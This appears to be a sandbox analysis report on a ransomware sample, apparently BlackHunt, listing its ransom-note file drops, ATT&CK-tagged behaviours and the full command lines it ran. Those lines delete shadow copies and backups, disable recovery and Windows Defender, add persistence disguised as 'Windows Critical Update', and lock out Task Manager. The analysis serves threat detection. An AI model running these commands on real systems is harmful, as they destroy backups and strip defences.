File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerConstraints.exsd	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Ust-Nera	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_zh_CN.jar	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler_ja.jar	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Sakhalin	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-3	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ast.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Christmas	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\scrapbook.png	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\tools.jar	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_ja_4.4.0.v20140623020002.jar	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\EST5EDT	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\text_renderer\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\selection_subpicture.png	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_zh_4.4.0.v20140623020002.jar	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Rio_Gallegos	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_basestyle.css	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_es.jar	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_ReadMe.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\GRAY.pf	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_gtk.css	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_ReadMe.hta	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_ButtonGraphic.png	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-io.xml	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_Private.key	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\#BlackHunt_ReadMe.txt	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1664	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2976	vssadmin.exe
600	vssadmin.exe
1764	vssadmin.exe
904	vssadmin.exe
2748	vssadmin.exe
2592	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2776	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	conhost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1688	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2596	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Token: SeRestorePrivilege	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Token: SeBackupPrivilege	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Token: SeTakeOwnershipPrivilege	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Token: SeAuditPrivilege	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Token: SeSecurityPrivilege	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Token: SeIncBasePriorityPrivilege	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Token: SeBackupPrivilege	1756	vssvc.exe
Token: SeRestorePrivilege	1756	vssvc.exe
Token: SeAuditPrivilege	1756	vssvc.exe
Token: SeBackupPrivilege	1620	wbengine.exe
Token: SeRestorePrivilege	1620	wbengine.exe
Token: SeSecurityPrivilege	1620	wbengine.exe
Token: SeSecurityPrivilege	1088	wevtutil.exe
Token: SeBackupPrivilege	1088	wevtutil.exe
Token: SeSecurityPrivilege	2600	wevtutil.exe
Token: SeBackupPrivilege	2600	wevtutil.exe
Token: SeSecurityPrivilege	1960	wevtutil.exe
Token: SeBackupPrivilege	1960	wevtutil.exe
Token: SeSecurityPrivilege	2188	wevtutil.exe
Token: SeSecurityPrivilege	2280	wevtutil.exe
Token: SeBackupPrivilege	2188	wevtutil.exe
Token: SeBackupPrivilege	2280	wevtutil.exe
Token: SeDebugPrivilege	2776	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 3016	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	154
PID 2992 wrote to memory of 3016	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	154
PID 2992 wrote to memory of 3016	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	154
PID 2992 wrote to memory of 3016	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	154
PID 2992 wrote to memory of 2576	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	153
PID 2992 wrote to memory of 2576	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	153
PID 2992 wrote to memory of 2576	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	153
PID 2992 wrote to memory of 2576	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	153
PID 2992 wrote to memory of 2608	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	151
PID 2992 wrote to memory of 2608	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	151
PID 2992 wrote to memory of 2608	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	151
PID 2992 wrote to memory of 2608	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	151
PID 3016 wrote to memory of 2680	3016	cmd.exe	149
PID 3016 wrote to memory of 2680	3016	cmd.exe	149
PID 3016 wrote to memory of 2680	3016	cmd.exe	149
PID 2992 wrote to memory of 2684	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	148
PID 2992 wrote to memory of 2684	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	148
PID 2992 wrote to memory of 2684	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	148
PID 2992 wrote to memory of 2684	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	148
PID 2992 wrote to memory of 2892	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	30
PID 2992 wrote to memory of 2892	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	30
PID 2992 wrote to memory of 2892	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	30
PID 2992 wrote to memory of 2892	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	30
PID 2992 wrote to memory of 2592	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	170
PID 2992 wrote to memory of 2592	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	170
PID 2992 wrote to memory of 2592	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	170
PID 2992 wrote to memory of 2592	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	170
PID 2576 wrote to memory of 3032	2576	cmd.exe	163
PID 2576 wrote to memory of 3032	2576	cmd.exe	163
PID 2576 wrote to memory of 3032	2576	cmd.exe	163
PID 2992 wrote to memory of 2780	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	142
PID 2992 wrote to memory of 2780	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	142
PID 2992 wrote to memory of 2780	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	142
PID 2992 wrote to memory of 2780	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	142
PID 2608 wrote to memory of 2584	2608	cmd.exe	143
PID 2608 wrote to memory of 2584	2608	cmd.exe	143
PID 2608 wrote to memory of 2584	2608	cmd.exe	143
PID 2992 wrote to memory of 2772	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	140
PID 2992 wrote to memory of 2772	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	140
PID 2992 wrote to memory of 2772	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	140
PID 2992 wrote to memory of 2772	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	140
PID 2992 wrote to memory of 2768	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	137
PID 2992 wrote to memory of 2768	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	137
PID 2992 wrote to memory of 2768	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	137
PID 2992 wrote to memory of 2768	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	137
PID 2684 wrote to memory of 2496	2684	cmd.exe	191
PID 2684 wrote to memory of 2496	2684	cmd.exe	191
PID 2684 wrote to memory of 2496	2684	cmd.exe	191
PID 2992 wrote to memory of 2508	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	183
PID 2992 wrote to memory of 2508	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	183
PID 2992 wrote to memory of 2508	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	183
PID 2992 wrote to memory of 2508	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	183
PID 2992 wrote to memory of 2640	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	134
PID 2992 wrote to memory of 2640	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	134
PID 2992 wrote to memory of 2640	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	134
PID 2992 wrote to memory of 2640	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	134
PID 2992 wrote to memory of 2468	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	132
PID 2992 wrote to memory of 2468	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	132
PID 2992 wrote to memory of 2468	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	132
PID 2992 wrote to memory of 2468	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	132
PID 2992 wrote to memory of 2540	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	129
PID 2992 wrote to memory of 2540	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	129
PID 2992 wrote to memory of 2540	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	129
PID 2992 wrote to memory of 2540	2992	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe	129

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe
"C:\Users\Admin\AppData\Local\Temp\0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1624
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2444
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1796
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\0cec971c4cc9d141467afd854dac4ef239718d10a2fae1bbc791e17285cef0df.exe" /F
  2⤵
  PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2768
- C:\Windows\System32\cmd.exe
